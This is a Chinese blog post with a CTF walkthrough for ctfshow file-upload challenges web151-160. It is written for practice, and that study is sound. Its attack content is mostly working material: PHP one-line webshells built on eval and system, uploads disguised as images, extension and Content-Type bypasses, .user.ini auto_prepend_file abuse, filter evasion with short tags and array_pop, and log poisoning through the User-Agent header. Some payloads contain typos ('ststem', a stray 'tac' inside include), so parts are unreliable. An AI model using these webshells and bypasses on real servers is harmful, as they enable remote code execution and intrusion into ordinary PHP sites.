ctfshow web入门 文件上传 web151-160

web151 经典前端绕过

web152 简单后端绕过

从 web153 开始,需使用 .user.ini

从 web154 开始,对文件内容进行黑名单过滤

每个关卡会累计前面关卡的限制

重点:

  了解前后端验证区别

  了解一句话木马

  了解 php 配置文件 .user.ini (扩展了解 Apache 配置文件 .htaccess)

  了解 php 代码执行黑名单绕过

 

web151

以本题做详细解题步骤,后续题只指出绕过方式

简单的前端校验,只针对后缀检查

制作 一句话木马的图片木马

  1)创建 1.txt

  2)写入①或②,保存退出

      ①<?php @eval($_POST["a"]); ?>   (可以使用蚁剑,也可以使用 post 传递参数,下列使用蚁剑方式)

      ②<?php system('tac ../flag.php')?>  (若选择②,则不需要使用蚁剑,直接访问/upload/index.php)

  3)将 1.txt 重命名为 1.png (图片格式后缀就行

 

法一

  修改前端代码

  只允许 png 文件,双击,将 png 修改为 php

 

 

 

法二

  1、利用 bp 上传 payload

    1)开启 burp ,并上传1.png

    2)找到 1.png 位置

    

    3)将 1.png 重命名为 1.php

    

    4)点击发送,获取上传文件地址

    

   2、利用蚁剑获取 flag

    1)打开蚁剑,右击添加数据,URL 为网址+文件上传地址

      这里为:http://1c3ddf3e-5756-4edd-8305-fb00b73a6820.challenge.ctf.show/upload/1.php

      连接密码为 $_POST[] 中的变量值

      

    2)点击上层目录,发现 flag.php,点击查看

      

 

web152 

要求:文件类型只能为图片类型(Content-Type 类型为图片格式)

法一:上传 1.png 抓包修改为 1.php

法二:先进行前端绕过(修改前端代码),抓包修改文件类型

 

 

 

 

web153

要求:文件后缀不能为 php

按 web152 上传文件

报错

 \u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4  Unicode编码   文件类型不合规

 

大写绕过 或 同解析后缀名绕过
同解析名后缀:   PHP:
.php .php2 .php3 .php4 .php5 .php6 .php7 .php空格 .phtml .pgif      .shtml .htaccess .phar .inc   ASP:.asp .aspx .config .ashx .asmx .aspq .axd .cshtm .cshtml .rem .soap      .vbhtm .vbhtml .asa .cer .shtml   JSP:.jsp .jspx .jsw .jsv .sjspf .wss .do .action

 

  访问文件路径查看 http://553b50b5-efa1-49c6-83c6-14a1efdf6fb8.challenge.ctf.show/upload/1.php3

  虽然能上传,但无法解析,因此需要换一种方法

 

  无意中发现 upload 可以访问    http://553b50b5-efa1-49c6-83c6-14a1efdf6fb8.challenge.ctf.show/upload/

  说明 upload 目录中含有 php 文件

  考虑先上传 .user.ini 文件,在上传 1.png

 

.user.ini 文件内容

 auto_prepend_file=1.png    #自动包含 1.png

从 web153 开始,后续关卡步骤均为:1)先上传 .user.ini  2)再上传木马文件 3)最后访问

  1)上传 .user.png ,抓包修改为 .user.ini

  2)上传 1.png

  3) 访问 /upload/index.php

  4)由于 /upload/ 目录下所有文件自动包含 1.png

      a)采取蚁剑连接  /upload/index.php

      b)以 post 方式传递数据 a=system('ls')

  

 

web154

要求:文件内容,不能有php

PHP标签绕过:

  长标签:<?php  ?>

  短标签:<?  ?>、<?=   ?>、<%   %>、<%=    %>

  其中 <?    ?> 需要开启 short_open_tag=On ,<%   %> 需要开启 asp_tags=On

1.png 内容更改为

法一
<?eval($_POST['a'])?>
法二
<?ststem('tac ../fl*')?>

 

web155

 自带 .user.ini,但不影响,payload 与 web154 一致

 

web156

文件内容屏蔽:php、[

用 {} 替代 []

1.png 内容更改为

#法一
<?eval($_POST{'a'})?>
#法二
<?ststem('tac ../fl*')?>

 

web157

文件内容屏蔽:php、[、{、;

由于我们 $_POST[] 只使用一个参数并且为数组格式,考虑使用 array_pop() 弹出最后一个单元

  1.png 内容更改为

#法一
<?eval(array_pop($_POST))?>
#法二
<?system('tac ../fl*')?>
#法三,由web158的黑名单得来,
#nginx 的日志会获取 UA头 信息
#bp 抓包,在 UA头 进行注入
<?include 'tac /var/log/nginx/access.log'?>

 

web158

文件内容屏蔽:php、[、{、;、log

1.png 内容更改为

#法一
<?eval(array_pop($_POST))?>
#法二
<?system('tac ../fl*')?>
#法三
<?include 'tac /var/l'.'og/nginx/access.l'.'og'?>

 

web159

文件内容屏蔽:php、[、{、;、log、(

屏蔽了 (),意味着屏蔽了函数,include 可以不使用 ()

1.png 内容更改为

<?include '/var/lo'.'g/nginx/access.l'.'og'?>

 

web160

文件内容屏蔽:php、[、{、;、log、(、空格

1.png 内容更改为

<?include'/var/lo'.'g/nginx/access.l'.'og'?>

 

posted @ 2023-03-28 23:37  kazie  阅读(765)  评论(0编辑  收藏  举报